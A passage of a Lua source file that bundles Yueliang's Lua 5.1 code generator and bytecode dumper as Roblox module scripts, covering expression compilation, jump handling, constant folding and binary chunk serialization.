  3346. self:freeexp(fs, e)
  3347. self:reserveregs(fs, 1)
  3348. self:exp2reg(fs, e, fs.freereg - 1)
  3349. end
  3350.  
  3351. ------------------------------------------------------------------------
  3352. --
  3353. -- * used in multiple locations
  3354. ------------------------------------------------------------------------
  3355. function luaK:exp2anyreg(fs, e)
  3356. self:dischargevars(fs, e)
  3357. if e.k == "VNONRELOC" then
  3358. if not self:hasjumps(e) then -- exp is already in a register
  3359. return e.info
  3360. end
  3361. if e.info >= fs.nactvar then -- reg. is not a local?
  3362. self:exp2reg(fs, e, e.info) -- put value on it
  3363. return e.info
  3364. end
  3365. end
  3366. self:exp2nextreg(fs, e) -- default
  3367. return e.info
  3368. end
  3369.  
  3370. ------------------------------------------------------------------------
  3371. --
  3372. -- * used in luaK:exp2RK(), luaK:prefix(), luaK:posfix()
  3373. -- * used in (lparser) luaY:yindex()
  3374. ------------------------------------------------------------------------
  3375. function luaK:exp2val(fs, e)
  3376. if self:hasjumps(e) then
  3377. self:exp2anyreg(fs, e)
  3378. else
  3379. self:dischargevars(fs, e)
  3380. end
  3381. end
  3382.  
  3383. ------------------------------------------------------------------------
  3384. --
  3385. -- * used in multiple locations
  3386. ------------------------------------------------------------------------
  3387. function luaK:exp2RK(fs, e)
  3388. self:exp2val(fs, e)
  3389. local k = e.k
  3390. if k == "VKNUM" or k == "VTRUE" or k == "VFALSE" or k == "VNIL" then
  3391. if fs.nk <= luaP.MAXINDEXRK then -- constant fit in RK operand?
  3392. -- converted from a 2-deep ternary operator expression
  3393. if e.k == "VNIL" then
  3394. e.info = self:nilK(fs)
  3395. else
  3396. e.info = (e.k == "VKNUM") and self:numberK(fs, e.nval)
  3397. or self:boolK(fs, e.k == "VTRUE")
  3398. end
  3399. e.k = "VK"
  3400. return luaP:RKASK(e.info)
  3401. end
  3402. elseif k == "VK" then
  3403. if e.info <= luaP.MAXINDEXRK then -- constant fit in argC?
  3404. return luaP:RKASK(e.info)
  3405. end
  3406. else
  3407. -- default
  3408. end
  3409. -- not a constant in the right range: put it in a register
  3410. return self:exp2anyreg(fs, e)
  3411. end
  3412.  
  3413. ------------------------------------------------------------------------
  3414. --
  3415. -- * used in (lparser) luaY:assignment(), luaY:localfunc(), luaY:funcstat()
  3416. ------------------------------------------------------------------------
  3417. function luaK:storevar(fs, var, ex)
  3418. local k = var.k
  3419. if k == "VLOCAL" then
  3420. self:freeexp(fs, ex)
  3421. self:exp2reg(fs, ex, var.info)
  3422. return
  3423. elseif k == "VUPVAL" then
  3424. local e = self:exp2anyreg(fs, ex)
  3425. self:codeABC(fs, "OP_SETUPVAL", e, var.info, 0)
  3426. elseif k == "VGLOBAL" then
  3427. local e = self:exp2anyreg(fs, ex)
  3428. self:codeABx(fs, "OP_SETGLOBAL", e, var.info)
  3429. elseif k == "VINDEXED" then
  3430. local e = self:exp2RK(fs, ex)
  3431. self:codeABC(fs, "OP_SETTABLE", var.info, var.aux, e)
  3432. else
  3433. assert(0) -- invalid var kind to store
  3434. end
  3435. self:freeexp(fs, ex)
  3436. end
  3437.  
  3438. ------------------------------------------------------------------------
  3439. --
  3440. -- * used only in (lparser) luaY:primaryexp()
  3441. ------------------------------------------------------------------------
  3442. function luaK:_self(fs, e, key)
  3443. self:exp2anyreg(fs, e)
  3444. self:freeexp(fs, e)
  3445. local func = fs.freereg
  3446. self:reserveregs(fs, 2)
  3447. self:codeABC(fs, "OP_SELF", func, e.info, self:exp2RK(fs, key))
  3448. self:freeexp(fs, key)
  3449. e.info = func
  3450. e.k = "VNONRELOC"
  3451. end
  3452.  
  3453. ------------------------------------------------------------------------
  3454. --
  3455. -- * used in luaK:goiftrue(), luaK:codenot()
  3456. ------------------------------------------------------------------------
  3457. function luaK:invertjump(fs, e)
  3458. local pc = self:getjumpcontrol(fs, e.info)
  3459. assert(luaP:testTMode(luaP:GET_OPCODE(pc)) ~= 0 and
  3460. luaP:GET_OPCODE(pc) ~= "OP_TESTSET" and
  3461. luaP:GET_OPCODE(pc) ~= "OP_TEST")
  3462. luaP:SETARG_A(pc, (luaP:GETARG_A(pc) == 0) and 1 or 0)
  3463. end
  3464.  
  3465. ------------------------------------------------------------------------
  3466. --
  3467. -- * used in luaK:goiftrue(), luaK:goiffalse()
  3468. ------------------------------------------------------------------------
  3469. function luaK:jumponcond(fs, e, cond)
  3470. if e.k == "VRELOCABLE" then
  3471. local ie = self:getcode(fs, e)
  3472. if luaP:GET_OPCODE(ie) == "OP_NOT" then
  3473. fs.pc = fs.pc - 1 -- remove previous OP_NOT
  3474. return self:condjump(fs, "OP_TEST", luaP:GETARG_B(ie), 0, cond and 0 or 1)
  3475. end
  3476. -- else go through
  3477. end
  3478. self:discharge2anyreg(fs, e)
  3479. self:freeexp(fs, e)
  3480. return self:condjump(fs, "OP_TESTSET", luaP.NO_REG, e.info, cond and 1 or 0)
  3481. end
  3482.  
  3483. ------------------------------------------------------------------------
  3484. --
  3485. -- * used in luaK:infix(), (lparser) luaY:cond()
  3486. ------------------------------------------------------------------------
  3487. function luaK:goiftrue(fs, e)
  3488. local pc -- pc of last jump
  3489. self:dischargevars(fs, e)
  3490. local k = e.k
  3491. if k == "VK" or k == "VKNUM" or k == "VTRUE" then
  3492. pc = self.NO_JUMP -- always true; do nothing
  3493. elseif k == "VFALSE" then
  3494. pc = self:jump(fs) -- always jump
  3495. elseif k == "VJMP" then
  3496. self:invertjump(fs, e)
  3497. pc = e.info
  3498. else
  3499. pc = self:jumponcond(fs, e, false)
  3500. end
  3501. e.f = self:concat(fs, e.f, pc) -- insert last jump in `f' list
  3502. self:patchtohere(fs, e.t)
  3503. e.t = self.NO_JUMP
  3504. end
  3505.  
  3506. ------------------------------------------------------------------------
  3507. --
  3508. -- * used in luaK:infix()
  3509. ------------------------------------------------------------------------
  3510. function luaK:goiffalse(fs, e)
  3511. local pc -- pc of last jump
  3512. self:dischargevars(fs, e)
  3513. local k = e.k
  3514. if k == "VNIL" or k == "VFALSE"then
  3515. pc = self.NO_JUMP -- always false; do nothing
  3516. elseif k == "VTRUE" then
  3517. pc = self:jump(fs) -- always jump
  3518. elseif k == "VJMP" then
  3519. pc = e.info
  3520. else
  3521. pc = self:jumponcond(fs, e, true)
  3522. end
  3523. e.t = self:concat(fs, e.t, pc) -- insert last jump in `t' list
  3524. self:patchtohere(fs, e.f)
  3525. e.f = self.NO_JUMP
  3526. end
  3527.  
  3528. ------------------------------------------------------------------------
  3529. --
  3530. -- * used only in luaK:prefix()
  3531. ------------------------------------------------------------------------
  3532. function luaK:codenot(fs, e)
  3533. self:dischargevars(fs, e)
  3534. local k = e.k
  3535. if k == "VNIL" or k == "VFALSE" then
  3536. e.k = "VTRUE"
  3537. elseif k == "VK" or k == "VKNUM" or k == "VTRUE" then
  3538. e.k = "VFALSE"
  3539. elseif k == "VJMP" then
  3540. self:invertjump(fs, e)
  3541. elseif k == "VRELOCABLE" or k == "VNONRELOC" then
  3542. self:discharge2anyreg(fs, e)
  3543. self:freeexp(fs, e)
  3544. e.info = self:codeABC(fs, "OP_NOT", 0, e.info, 0)
  3545. e.k = "VRELOCABLE"
  3546. else
  3547. assert(0) -- cannot happen
  3548. end
  3549. -- interchange true and false lists
  3550. e.f, e.t = e.t, e.f
  3551. self:removevalues(fs, e.f)
  3552. self:removevalues(fs, e.t)
  3553. end
  3554.  
  3555. ------------------------------------------------------------------------
  3556. --
  3557. -- * used in (lparser) luaY:field(), luaY:primaryexp()
  3558. ------------------------------------------------------------------------
  3559. function luaK:indexed(fs, t, k)
  3560. t.aux = self:exp2RK(fs, k)
  3561. t.k = "VINDEXED"
  3562. end
  3563.  
  3564. ------------------------------------------------------------------------
  3565. --
  3566. -- * used only in luaK:codearith()
  3567. ------------------------------------------------------------------------
  3568. function luaK:constfolding(op, e1, e2)
  3569. local r
  3570. if not self:isnumeral(e1) or not self:isnumeral(e2) then return false end
  3571. local v1 = e1.nval
  3572. local v2 = e2.nval
  3573. if op == "OP_ADD" then
  3574. r = self:numadd(v1, v2)
  3575. elseif op == "OP_SUB" then
  3576. r = self:numsub(v1, v2)
  3577. elseif op == "OP_MUL" then
  3578. r = self:nummul(v1, v2)
  3579. elseif op == "OP_DIV" then
  3580. if v2 == 0 then return false end -- do not attempt to divide by 0
  3581. r = self:numdiv(v1, v2)
  3582. elseif op == "OP_MOD" then
  3583. if v2 == 0 then return false end -- do not attempt to divide by 0
  3584. r = self:nummod(v1, v2)
  3585. elseif op == "OP_POW" then
  3586. r = self:numpow(v1, v2)
  3587. elseif op == "OP_UNM" then
  3588. r = self:numunm(v1)
  3589. elseif op == "OP_LEN" then
  3590. return false -- no constant folding for 'len'
  3591. else
  3592. assert(0)
  3593. r = 0
  3594. end
  3595. if self:numisnan(r) then return false end -- do not attempt to produce NaN
  3596. e1.nval = r
  3597. return true
  3598. end
  3599.  
  3600. ------------------------------------------------------------------------
  3601. --
  3602. -- * used in luaK:prefix(), luaK:posfix()
  3603. ------------------------------------------------------------------------
  3604. function luaK:codearith(fs, op, e1, e2)
  3605. if self:constfolding(op, e1, e2) then
  3606. return
  3607. else
  3608. local o2 = (op ~= "OP_UNM" and op ~= "OP_LEN") and self:exp2RK(fs, e2) or 0
  3609. local o1 = self:exp2RK(fs, e1)
  3610. if o1 > o2 then
  3611. self:freeexp(fs, e1)
  3612. self:freeexp(fs, e2)
  3613. else
  3614. self:freeexp(fs, e2)
  3615. self:freeexp(fs, e1)
  3616. end
  3617. e1.info = self:codeABC(fs, op, 0, o1, o2)
  3618. e1.k = "VRELOCABLE"
  3619. end
  3620. end
  3621.  
  3622. ------------------------------------------------------------------------
  3623. --
  3624. -- * used only in luaK:posfix()
  3625. ------------------------------------------------------------------------
  3626. function luaK:codecomp(fs, op, cond, e1, e2)
  3627. local o1 = self:exp2RK(fs, e1)
  3628. local o2 = self:exp2RK(fs, e2)
  3629. self:freeexp(fs, e2)
  3630. self:freeexp(fs, e1)
  3631. if cond == 0 and op ~= "OP_EQ" then
  3632. -- exchange args to replace by `<' or `<='
  3633. o1, o2 = o2, o1 -- o1 <==> o2
  3634. cond = 1
  3635. end
  3636. e1.info = self:condjump(fs, op, cond, o1, o2)
  3637. e1.k = "VJMP"
  3638. end
  3639.  
  3640. ------------------------------------------------------------------------
  3641. --
  3642. -- * used only in (lparser) luaY:subexpr()
  3643. ------------------------------------------------------------------------
  3644. function luaK:prefix(fs, op, e)
  3645. local e2 = {} -- expdesc
  3646. e2.t, e2.f = self.NO_JUMP, self.NO_JUMP
  3647. e2.k = "VKNUM"
  3648. e2.nval = 0
  3649. if op == "OPR_MINUS" then
  3650. if not self:isnumeral(e) then
  3651. self:exp2anyreg(fs, e) -- cannot operate on non-numeric constants
  3652. end
  3653. self:codearith(fs, "OP_UNM", e, e2)
  3654. elseif op == "OPR_NOT" then
  3655. self:codenot(fs, e)
  3656. elseif op == "OPR_LEN" then
  3657. self:exp2anyreg(fs, e) -- cannot operate on constants
  3658. self:codearith(fs, "OP_LEN", e, e2)
  3659. else
  3660. assert(0)
  3661. end
  3662. end
  3663.  
  3664. ------------------------------------------------------------------------
  3665. --
  3666. -- * used only in (lparser) luaY:subexpr()
  3667. ------------------------------------------------------------------------
  3668. function luaK:infix(fs, op, v)
  3669. if op == "OPR_AND" then
  3670. self:goiftrue(fs, v)
  3671. elseif op == "OPR_OR" then
  3672. self:goiffalse(fs, v)
  3673. elseif op == "OPR_CONCAT" then
  3674. self:exp2nextreg(fs, v) -- operand must be on the 'stack'
  3675. elseif op == "OPR_ADD" or op == "OPR_SUB" or
  3676. op == "OPR_MUL" or op == "OPR_DIV" or
  3677. op == "OPR_MOD" or op == "OPR_POW" then
  3678. if not self:isnumeral(v) then self:exp2RK(fs, v) end
  3679. else
  3680. self:exp2RK(fs, v)
  3681. end
  3682. end
  3683.  
  3684. ------------------------------------------------------------------------
  3685. --
  3686. -- * used only in (lparser) luaY:subexpr()
  3687. ------------------------------------------------------------------------
  3688. -- table lookups to simplify testing
  3689. luaK.arith_op = {
  3690. OPR_ADD = "OP_ADD", OPR_SUB = "OP_SUB", OPR_MUL = "OP_MUL",
  3691. OPR_DIV = "OP_DIV", OPR_MOD = "OP_MOD", OPR_POW = "OP_POW",
  3692. }
  3693. luaK.comp_op = {
  3694. OPR_EQ = "OP_EQ", OPR_NE = "OP_EQ", OPR_LT = "OP_LT",
  3695. OPR_LE = "OP_LE", OPR_GT = "OP_LT", OPR_GE = "OP_LE",
  3696. }
  3697. luaK.comp_cond = {
  3698. OPR_EQ = 1, OPR_NE = 0, OPR_LT = 1,
  3699. OPR_LE = 1, OPR_GT = 0, OPR_GE = 0,
  3700. }
  3701. function luaK:posfix(fs, op, e1, e2)
  3702. -- needed because e1 = e2 doesn't copy values...
  3703. -- * in 5.0.x, only k/info/aux/t/f copied, t for AND, f for OR
  3704. -- but here, all elements are copied for completeness' sake
  3705. local function copyexp(e1, e2)
  3706. e1.k = e2.k
  3707. e1.info = e2.info; e1.aux = e2.aux
  3708. e1.nval = e2.nval
  3709. e1.t = e2.t; e1.f = e2.f
  3710. end
  3711. if op == "OPR_AND" then
  3712. assert(e1.t == self.NO_JUMP) -- list must be closed
  3713. self:dischargevars(fs, e2)
  3714. e2.f = self:concat(fs, e2.f, e1.f)
  3715. copyexp(e1, e2)
  3716. elseif op == "OPR_OR" then
  3717. assert(e1.f == self.NO_JUMP) -- list must be closed
  3718. self:dischargevars(fs, e2)
  3719. e2.t = self:concat(fs, e2.t, e1.t)
  3720. copyexp(e1, e2)
  3721. elseif op == "OPR_CONCAT" then
  3722. self:exp2val(fs, e2)
  3723. if e2.k == "VRELOCABLE" and luaP:GET_OPCODE(self:getcode(fs, e2)) == "OP_CONCAT" then
  3724. assert(e1.info == luaP:GETARG_B(self:getcode(fs, e2)) - 1)
  3725. self:freeexp(fs, e1)
  3726. luaP:SETARG_B(self:getcode(fs, e2), e1.info)
  3727. e1.k = "VRELOCABLE"
  3728. e1.info = e2.info
  3729. else
  3730. self:exp2nextreg(fs, e2) -- operand must be on the 'stack'
  3731. self:codearith(fs, "OP_CONCAT", e1, e2)
  3732. end
  3733. else
  3734. -- the following uses a table lookup in place of conditionals
  3735. local arith = self.arith_op[op]
  3736. if arith then
  3737. self:codearith(fs, arith, e1, e2)
  3738. else
  3739. local comp = self.comp_op[op]
  3740. if comp then
  3741. self:codecomp(fs, comp, self.comp_cond[op], e1, e2)
  3742. else
  3743. assert(0)
  3744. end
  3745. end--if arith
  3746. end--if op
  3747. end
  3748.  
  3749. ------------------------------------------------------------------------
  3750. -- adjusts debug information for last instruction written, in order to
  3751. -- change the line where item comes into existence
  3752. -- * used in (lparser) luaY:funcargs(), luaY:forbody(), luaY:funcstat()
  3753. ------------------------------------------------------------------------
  3754. function luaK:fixline(fs, line)
  3755. fs.f.lineinfo[fs.pc - 1] = line
  3756. end
  3757.  
  3758. ------------------------------------------------------------------------
  3759. -- general function to write an instruction into the instruction buffer,
  3760. -- sets debug information too
  3761. -- * used in luaK:codeABC(), luaK:codeABx()
  3762. -- * called directly by (lparser) luaY:whilestat()
  3763. ------------------------------------------------------------------------
  3764. function luaK:code(fs, i, line)
  3765. local f = fs.f
  3766. self:dischargejpc(fs) -- 'pc' will change
  3767. -- put new instruction in code array
  3768. luaY:growvector(fs.L, f.code, fs.pc, f.sizecode, nil,
  3769. luaY.MAX_INT, "code size overflow")
  3770. f.code[fs.pc] = i
  3771. -- save corresponding line information
  3772. luaY:growvector(fs.L, f.lineinfo, fs.pc, f.sizelineinfo, nil,
  3773. luaY.MAX_INT, "code size overflow")
  3774. f.lineinfo[fs.pc] = line
  3775. local pc = fs.pc
  3776. fs.pc = fs.pc + 1
  3777. return pc
  3778. end
  3779.  
  3780. ------------------------------------------------------------------------
  3781. -- writes an instruction of type ABC
  3782. -- * calls luaK:code()
  3783. ------------------------------------------------------------------------
  3784. function luaK:codeABC(fs, o, a, b, c)
  3785. assert(luaP:getOpMode(o) == luaP.OpMode.iABC)
  3786. assert(luaP:getBMode(o) ~= luaP.OpArgMask.OpArgN or b == 0)
  3787. assert(luaP:getCMode(o) ~= luaP.OpArgMask.OpArgN or c == 0)
  3788. return self:code(fs, luaP:CREATE_ABC(o, a, b, c), fs.ls.lastline)
  3789. end
  3790.  
  3791. ------------------------------------------------------------------------
  3792. -- writes an instruction of type ABx
  3793. -- * calls luaK:code(), called by luaK:codeAsBx()
  3794. ------------------------------------------------------------------------
  3795. function luaK:codeABx(fs, o, a, bc)
  3796. assert(luaP:getOpMode(o) == luaP.OpMode.iABx or
  3797. luaP:getOpMode(o) == luaP.OpMode.iAsBx)
  3798. assert(luaP:getCMode(o) == luaP.OpArgMask.OpArgN)
  3799. return self:code(fs, luaP:CREATE_ABx(o, a, bc), fs.ls.lastline)
  3800. end
  3801.  
  3802. ------------------------------------------------------------------------
  3803. --
  3804. -- * used in (lparser) luaY:closelistfield(), luaY:lastlistfield()
  3805. ------------------------------------------------------------------------
  3806. function luaK:setlist(fs, base, nelems, tostore)
  3807. local c = math.floor((nelems - 1)/luaP.LFIELDS_PER_FLUSH) + 1
  3808. local b = (tostore == luaY.LUA_MULTRET) and 0 or tostore
  3809. assert(tostore ~= 0)
  3810. if c <= luaP.MAXARG_C then
  3811. self:codeABC(fs, "OP_SETLIST", base, b, c)
  3812. else
  3813. self:codeABC(fs, "OP_SETLIST", base, b, 0)
  3814. self:code(fs, luaP:CREATE_Inst(c), fs.ls.lastline)
  3815. end
  3816. fs.freereg = base + 1 -- free registers with list values
  3817. end
  3818.  
  3819. return function(a) luaY = a return luaK end
  3820. end
  3821. fake_module_scripts[script] = module_script
  3822. end
  3823. do -- nil.LuaU
  3824. local script = Instance.new('ModuleScript', nil)
  3825. script.Name = "LuaU"
  3826. local function module_script()
  3827. --[[--------------------------------------------------------------------
  3828.  
  3829. ldump.lua
  3830. Save precompiled Lua chunks
  3831. This file is part of Yueliang.
  3832.  
  3833. Copyright (c) 2006 Kein-Hong Man <[email protected]>
  3834. The COPYRIGHT file describes the conditions
  3835. under which this software may be distributed.
  3836.  
  3837. See the ChangeLog for more information.
  3838.  
  3839. ----------------------------------------------------------------------]]
  3840.  
  3841. --[[--------------------------------------------------------------------
  3842. -- Notes:
  3843. -- * WARNING! byte order (little endian) and data type sizes for header
  3844. -- signature values hard-coded; see luaU:header
  3845. -- * chunk writer generators are included, see below
  3846. -- * one significant difference is that instructions are still in table
  3847. -- form (with OP/A/B/C/Bx fields) and luaP:Instruction() is needed to
  3848. -- convert them into 4-char strings
  3849. --
  3850. -- Not implemented:
  3851. -- * DumpVar, DumpMem has been removed
  3852. -- * DumpVector folded into folded into DumpDebug, DumpCode
  3853. --
  3854. -- Added:
  3855. -- * for convenience, the following two functions have been added:
  3856. -- luaU:make_setS: create a chunk writer that writes to a string
  3857. -- luaU:make_setF: create a chunk writer that writes to a file
  3858. -- (lua.h contains a typedef for lua_Writer/lua_Chunkwriter, and
  3859. -- a Lua-based implementation exists, writer() in lstrlib.c)
  3860. -- * luaU:ttype(o) (from lobject.h)
  3861. -- * for converting number types to its binary equivalent:
  3862. -- luaU:from_double(x): encode double value for writing
  3863. -- luaU:from_int(x): encode integer value for writing
  3864. -- (error checking is limited for these conversion functions)
  3865. -- (double conversion does not support denormals or NaNs)
  3866. --
  3867. -- Changed in 5.1.x:
  3868. -- * the dumper was mostly rewritten in Lua 5.1.x, so notes on the
  3869. -- differences between 5.0.x and 5.1.x is limited
  3870. -- * LUAC_VERSION bumped to 0x51, LUAC_FORMAT added
  3871. -- * developer is expected to adjust LUAC_FORMAT in order to identify
  3872. -- non-standard binary chunk formats
  3873. -- * header signature code is smaller, has been simplified, and is
  3874. -- tested as a single unit; its logic is shared with the undumper
  3875. -- * no more endian conversion, invalid endianness mean rejection
  3876. -- * opcode field sizes are no longer exposed in the header
  3877. -- * code moved to front of a prototype, followed by constants
  3878. -- * debug information moved to the end of the binary chunk, and the
  3879. -- relevant functions folded into a single function
  3880. -- * luaU:dump returns a writer status code
  3881. -- * chunk writer now implements status code because dumper uses it
  3882. -- * luaU:endianness removed
  3883. ----------------------------------------------------------------------]]
  3884.  
  3885. --requires luaP
  3886. local luaU = {}
  3887. local luaP = require(script.Parent.LuaP)
  3888.  
  3889. -- mark for precompiled code ('<esc>Lua') (from lua.h)
  3890. luaU.LUA_SIGNATURE = "\27Lua"
  3891.  
  3892. -- constants used by dumper (from lua.h)
  3893. luaU.LUA_TNUMBER = 3
  3894. luaU.LUA_TSTRING = 4
  3895. luaU.LUA_TNIL = 0
  3896. luaU.LUA_TBOOLEAN = 1
  3897. luaU.LUA_TNONE = -1
  3898.  
  3899. -- constants for header of binary files (from lundump.h)
  3900. luaU.LUAC_VERSION = 0x51 -- this is Lua 5.1
  3901. luaU.LUAC_FORMAT = 0 -- this is the official format
  3902. luaU.LUAC_HEADERSIZE = 12 -- size of header of binary files
  3903.  
  3904. --[[--------------------------------------------------------------------
  3905. -- Additional functions to handle chunk writing
  3906. -- * to use make_setS and make_setF, see test_ldump.lua elsewhere
  3907. ----------------------------------------------------------------------]]
  3908.  
  3909. ------------------------------------------------------------------------
  3910. -- create a chunk writer that writes to a string
  3911. -- * returns the writer function and a table containing the string
  3912. -- * to get the final result, look in buff.data
  3913. ------------------------------------------------------------------------
  3914. function luaU:make_setS()
  3915. local buff = {}
  3916. buff.data = ""
  3917. local writer =
  3918. function(s, buff) -- chunk writer
  3919. if not s then return 0 end
  3920. buff.data = buff.data..s
  3921. return 0
  3922. end
  3923. return writer, buff
  3924. end
  3925.  
  3926. ------------------------------------------------------------------------
  3927. -- create a chunk writer that writes to a file
  3928. -- * returns the writer function and a table containing the file handle
  3929. -- * if a nil is passed, then writer should close the open file
  3930. ------------------------------------------------------------------------
  3931.  
  3932. --[[
  3933. function luaU:make_setF(filename)
  3934. local buff = {}
  3935. buff.h = io.open(filename, "wb")
  3936. if not buff.h then return nil end
  3937. local writer =
  3938. function(s, buff) -- chunk writer
  3939. if not buff.h then return 0 end
  3940. if not s then
  3941. if buff.h:close() then return 0 end
  3942. else
  3943. if buff.h:write(s) then return 0 end
  3944. end
  3945. return 1
  3946. end
  3947. return writer, buff
  3948. end--]]
  3949.  
  3950. ------------------------------------------------------------------------
  3951. -- works like the lobject.h version except that TObject used in these
  3952. -- scripts only has a 'value' field, no 'tt' field (native types used)
  3953. ------------------------------------------------------------------------
  3954. function luaU:ttype(o)
  3955. local tt = type(o.value)
  3956. if tt == "number" then return self.LUA_TNUMBER
  3957. elseif tt == "string" then return self.LUA_TSTRING
  3958. elseif tt == "nil" then return self.LUA_TNIL
  3959. elseif tt == "boolean" then return self.LUA_TBOOLEAN
  3960. else
  3961. return self.LUA_TNONE -- the rest should not appear
  3962. end
  3963. end
  3964.  
  3965. -----------------------------------------------------------------------
  3966. -- converts a IEEE754 double number to an 8-byte little-endian string
  3967. -- * luaU:from_double() and luaU:from_int() are adapted from ChunkBake
  3968. -- * supports +/- Infinity, but not denormals or NaNs
  3969. -----------------------------------------------------------------------
  3970. function luaU:from_double(x)
  3971. local function grab_byte(v)
  3972. local c = v % 256
  3973. return (v - c) / 256, string.char(c)
  3974. end
  3975. local sign = 0
  3976. if x < 0 then sign = 1; x = -x end
  3977. local mantissa, exponent = math.frexp(x)
  3978. if x == 0 then -- zero
  3979. mantissa, exponent = 0, 0
  3980. elseif x == 1/0 then
  3981. mantissa, exponent = 0, 2047
  3982. else
  3983. mantissa = (mantissa * 2 - 1) * math.ldexp(0.5, 53)
  3984. exponent = exponent + 1022
  3985. end
  3986. local v, byte = "" -- convert to bytes
  3987. x = math.floor(mantissa)
  3988. for i = 1,6 do
  3989. x, byte = grab_byte(x); v = v..byte -- 47:0
  3990. end
  3991. x, byte = grab_byte(exponent * 16 + x); v = v..byte -- 55:48
  3992. x, byte = grab_byte(sign * 128 + x); v = v..byte -- 63:56
  3993. return v
  3994. end
  3995.  
  3996. -----------------------------------------------------------------------
  3997. -- converts a number to a little-endian 32-bit integer string
  3998. -- * input value assumed to not overflow, can be signed/unsigned
  3999. -----------------------------------------------------------------------
  4000. function luaU:from_int(x)
  4001. local v = ""
  4002. x = math.floor(x)
  4003. if x < 0 then x = 4294967296 + x end -- ULONG_MAX+1
  4004. for i = 1, 4 do
  4005. local c = x % 256
  4006. v = v..string.char(c); x = math.floor(x / 256)
  4007. end
  4008. return v
  4009. end
  4010.  
  4011. --[[--------------------------------------------------------------------
  4012. -- Functions to make a binary chunk
  4013. -- * many functions have the size parameter removed, since output is
  4014. -- in the form of a string and some sizes are implicit or hard-coded
  4015. ----------------------------------------------------------------------]]
  4016.  
  4017. --[[--------------------------------------------------------------------
  4018. -- struct DumpState:
  4019. -- L -- lua_State (not used in this script)
  4020. -- writer -- lua_Writer (chunk writer function)
  4021. -- data -- void* (chunk writer context or data already written)
  4022. -- strip -- if true, don't write any debug information
  4023. -- status -- if non-zero, an error has occured
  4024. ----------------------------------------------------------------------]]
  4025.  
  4026. ------------------------------------------------------------------------
  4027. -- dumps a block of bytes
  4028. -- * lua_unlock(D.L), lua_lock(D.L) unused
  4029. ------------------------------------------------------------------------
  4030. function luaU:DumpBlock(b, D)
  4031. if D.status == 0 then
  4032. -- lua_unlock(D->L);
  4033. D.status = D.write(b, D.data)
  4034. -- lua_lock(D->L);
  4035. end
  4036. end
  4037.  
  4038. ------------------------------------------------------------------------
  4039. -- dumps a char
  4040. ------------------------------------------------------------------------
  4041. function luaU:DumpChar(y, D)
  4042. self:DumpBlock(string.char(y), D)
  4043. end
  4044.  
  4045. ------------------------------------------------------------------------
  4046. -- dumps a 32-bit signed or unsigned integer (for int) (hard-coded)
  4047. ------------------------------------------------------------------------
  4048. function luaU:DumpInt(x, D)
  4049. self:DumpBlock(self:from_int(x), D)
  4050. end
  4051.  
  4052. ------------------------------------------------------------------------
  4053. -- dumps a lua_Number (hard-coded as a double)
  4054. ------------------------------------------------------------------------
  4055. function luaU:DumpNumber(x, D)
  4056. self:DumpBlock(self:from_double(x), D)
  4057. end
  4058.  
  4059. ------------------------------------------------------------------------
  4060. -- dumps a Lua string (size type is hard-coded)
  4061. ------------------------------------------------------------------------
  4062. function luaU:DumpString(s, D)
  4063. if s == nil then
  4064. self:DumpInt(0, D)
  4065. else
  4066. s = s.."\0" -- include trailing '\0'
  4067. self:DumpInt(#s, D)
  4068. self:DumpBlock(s, D)
  4069. end
  4070. end
  4071.  
  4072. ------------------------------------------------------------------------
  4073. -- dumps instruction block from function prototype
  4074. ------------------------------------------------------------------------
  4075. function luaU:DumpCode(f, D)
  4076. local n = f.sizecode
  4077. --was DumpVector
  4078. self:DumpInt(n, D)
  4079. for i = 0, n - 1 do
  4080. self:DumpBlock(luaP:Instruction(f.code[i]), D)
  4081. end
  4082. end
  4083.  
  4084. ------------------------------------------------------------------------
  4085. -- dump constant pool from function prototype
  4086. -- * bvalue(o), nvalue(o) and rawtsvalue(o) macros removed
  4087. ------------------------------------------------------------------------
  4088. function luaU:DumpConstants(f, D)
  4089. local n = f.sizek
  4090. self:DumpInt(n, D)
  4091. for i = 0, n - 1 do
  4092. local o = f.k[i] -- TValue
  4093. local tt = self:ttype(o)
  4094. self:DumpChar(tt, D)
  4095. if tt == self.LUA_TNIL then
  4096. elseif tt == self.LUA_TBOOLEAN then
  4097. self:DumpChar(o.value and 1 or 0, D)
  4098. elseif tt == self.LUA_TNUMBER then
  4099. self:DumpNumber(o.value, D)
  4100. elseif tt == self.LUA_TSTRING then
  4101. self:DumpString(o.value, D)
  4102. else
  4103. --lua_assert(0) -- cannot happen
  4104. end
  4105. end
  4106. n = f.sizep
  4107. self:DumpInt(n, D)
  4108. for i = 0, n - 1 do
  4109. self:DumpFunction(f.p[i], f.source, D)
  4110. end
  4111. end
  4112.  
  4113. ------------------------------------------------------------------------
  4114. -- dump debug information
  4115. ------------------------------------------------------------------------
  4116. function luaU:DumpDebug(f, D)
  4117. local n
  4118. n = D.strip and 0 or f.sizelineinfo -- dump line information
  4119. --was DumpVector
  4120. self:DumpInt(n, D)
  4121. for i = 0, n - 1 do
  4122. self:DumpInt(f.lineinfo[i], D)
  4123. end
  4124. n = D.strip and 0 or f.sizelocvars -- dump local information
  4125. self:DumpInt(n, D)
  4126. for i = 0, n - 1 do
  4127. self:DumpString(f.locvars[i].varname, D)
  4128. self:DumpInt(f.locvars[i].startpc, D)
  4129. self:DumpInt(f.locvars[i].endpc, D)
  4130. end
  4131. n = D.strip and 0 or f.sizeupvalues -- dump upvalue information
  4132. self:DumpInt(n, D)
  4133. for i = 0, n - 1 do
  4134. self:DumpString(f.upvalues[i], D)
  4135. end
  4136. end
  4137.  
  4138. ------------------------------------------------------------------------
  4139. -- dump child function prototypes from function prototype
  4140. ------------------------------------------------------------------------
  4141. function luaU:DumpFunction(f, p, D)
  4142. local source = f.source
  4143. if source == p or D.strip then source = nil end
  4144. self:DumpString(source, D)
  4145. self:DumpInt(f.lineDefined, D)
  4146. self:DumpInt(f.lastlinedefined, D)
  4147. self:DumpChar(f.nups, D)
  4148. self:DumpChar(f.numparams, D)
  4149. self:DumpChar(f.is_vararg, D)
  4150. self:DumpChar(f.maxstacksize, D)
  4151. self:DumpCode(f, D)
  4152. self:DumpConstants(f, D)
  4153. self:DumpDebug(f, D)
  4154. end
  4155.  
  4156. ------------------------------------------------------------------------
  4157. -- dump Lua header section (some sizes hard-coded)
  4158. ------------------------------------------------------------------------
  4159. function luaU:DumpHeader(D)
  4160. local h = self:header()
  4161. assert(#h == self.LUAC_HEADERSIZE) -- fixed buffer now an assert
  4162. self:DumpBlock(h, D)
  4163. end
  4164.  
  4165. ------------------------------------------------------------------------
  4166. -- make header (from lundump.c)
  4167. -- returns the header string
  4168. ------------------------------------------------------------------------
